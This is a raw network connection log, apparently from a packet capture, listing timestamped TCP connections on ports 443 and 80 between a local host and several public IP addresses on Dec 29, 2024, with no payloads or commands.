Dec 29, 2024 05:45:41.285945892 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286026001 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286045074 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286096096 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286112070 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286149979 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286165953 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286199093 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286216021 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286346912 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286360025 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286391020 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286405087 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286442041 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286457062 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286488056 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286515951 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286547899 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286562920 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286580086 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286595106 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286629915 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286643982 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.286674976 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.286691904 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287617922 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287635088 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287667036 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287683010 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287715912 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287730932 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287772894 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287806034 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287842989 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287877083 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287925959 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287941933 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.287954092 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:41.287966013 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:41.379570961 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.379641056 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:41.379776955 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.379806042 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:41.379811049 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.379885912 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.380335093 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.380363941 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:41.380487919 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:41.380500078 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.239777088 CET	443	49857	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:42.239835978 CET	49857	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.239856958 CET	443	49857	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:42.239871025 CET	443	49857	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:42.239898920 CET	49857	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.239912987 CET	49857	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.298466921 CET	49857	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.298491001 CET	443	49857	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:42.636795998 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.637145042 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.637156963 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.637450933 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.638097048 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.638154984 CET	443	49872	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.639450073 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.639698029 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.639718056 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.640017033 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.640563965 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.640630007 CET	443	49871	23.49.251.25	192.168.2.5
Dec 29, 2024 05:45:42.690587044 CET	49872	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.690686941 CET	49871	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:45:42.857394934 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.857414007 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:42.857578039 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.857841015 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:42.857851028 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:43.482281923 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:43.482332945 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:43.482364893 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:43.482422113 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:43.530533075 CET	49861	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:43.530575991 CET	443	49861	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:43.850083113 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:43.895334959 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:44.041146994 CET	49707	80	192.168.2.5	2.19.198.50
Dec 29, 2024 05:45:44.041203022 CET	49705	80	192.168.2.5	23.195.39.6
Dec 29, 2024 05:45:44.064834118 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:44.064872026 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:44.064932108 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:44.069022894 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:44.069034100 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:44.160962105 CET	80	49707	2.19.198.50	192.168.2.5
Dec 29, 2024 05:45:44.161020041 CET	49707	80	192.168.2.5	2.19.198.50
Dec 29, 2024 05:45:44.161616087 CET	80	49705	23.195.39.6	192.168.2.5
Dec 29, 2024 05:45:44.161657095 CET	49705	80	192.168.2.5	23.195.39.6
Dec 29, 2024 05:45:44.306199074 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.306250095 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.329767942 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.329773903 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.386950970 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.386976957 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.387202024 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.387533903 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.387543917 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393151045 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393157005 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393224001 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393238068 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393246889 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393259048 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393327951 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393342972 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393393993 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393403053 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.393533945 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.393553019 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.398364067 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.398374081 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.398396015 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.398403883 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.398410082 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.398485899 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:44.398498058 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:44.462287903 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:44.462400913 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:44.462454081 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:44.463135958 CET	49839	443	192.168.2.5	18.161.69.30
Dec 29, 2024 05:45:44.463145971 CET	443	49839	18.161.69.30	192.168.2.5
Dec 29, 2024 05:45:44.798744917 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:44.798758030 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:44.798990965 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:44.799128056 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:44.799137115 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:44.881328106 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:44.881385088 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:44.881469011 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:44.881664038 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:44.881705999 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:45.438901901 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.438924074 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:45.439018965 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.439523935 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.439547062 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:45.439680099 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.442325115 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.442384005 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:45.442477942 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.442647934 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.442656040 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:45.442914963 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:45.442929029 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:45.444847107 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.444864988 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:45.446927071 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.446949959 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:45.447139025 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.447257042 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:45.447268009 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:45.843017101 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.843103886 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.843470097 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.843477011 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902062893 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902075052 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902162075 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902173042 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902179003 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902200937 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902255058 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902255058 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902261019 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902268887 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902295113 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902304888 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902318001 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902334929 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902406931 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902415037 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902431011 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902440071 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902442932 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902446985 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902473927 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902482033 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902489901 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902543068 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902556896 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902581930 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902592897 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902748108 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902756929 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902774096 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902781010 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902800083 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902807951 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902827024 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902843952 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902889013 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902898073 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902915001 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902921915 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.902937889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.902949095 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.903002024 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903011084 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.903026104 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903033972 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.903050900 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903069973 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903069973 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903093100 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903124094 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903170109 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.903193951 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.947338104 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.947520018 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.947539091 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.947619915 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.947639942 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.947729111 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.995335102 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:45.995543003 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.995599031 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.995712042 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.995765924 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:45.995904922 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.039336920 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.039617062 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.039707899 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.039727926 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.039808989 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.039833069 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.083334923 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.088706017 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.088825941 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.135335922 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.141971111 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.142035961 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.142086029 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.142138958 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.142155886 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.142189026 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.142205954 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.142225027 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.143857956 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.145092010 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145227909 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145478010 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145606995 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145680904 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145724058 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145739079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145797968 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.145827055 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.146034002 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.146049976 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150190115 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150325060 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150362968 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150384903 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150458097 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.150643110 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.150650978 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.151515961 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.151587963 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.153563976 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.153606892 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.153889894 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.153896093 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.153935909 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.153951883 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.178044081 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.178097010 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.178116083 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.178147078 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.179246902 CET	49882	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.179259062 CET	443	49882	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.179951906 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.179975033 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.180063963 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.180391073 CET	49908	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.180402994 CET	443	49908	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.183331013 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.183624029 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183646917 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183712006 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183732986 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183743000 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183758974 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183801889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183824062 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183939934 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183947086 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183970928 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.183994055 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.184112072 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.184138060 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.184197903 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.207103014 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.231334925 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.231522083 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262348890 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.262403011 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.262514114 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.262588024 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262614012 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262623072 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.262634039 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262733936 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262761116 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262769938 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262782097 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262803078 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262881041 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262897015 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.262911081 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.272394896 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.272702932 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:46.272715092 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.273025036 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.273715019 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:46.273768902 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.273973942 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:46.307332993 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.319328070 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.381753922 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.381899118 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.382042885 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.382074118 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.382096052 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.423331976 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.426579952 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.431150913 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:46.441118956 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.441241980 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.441350937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.441374063 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.442025900 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.471479893 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:46.502609015 CET	443	49888	116.203.14.4	192.168.2.5
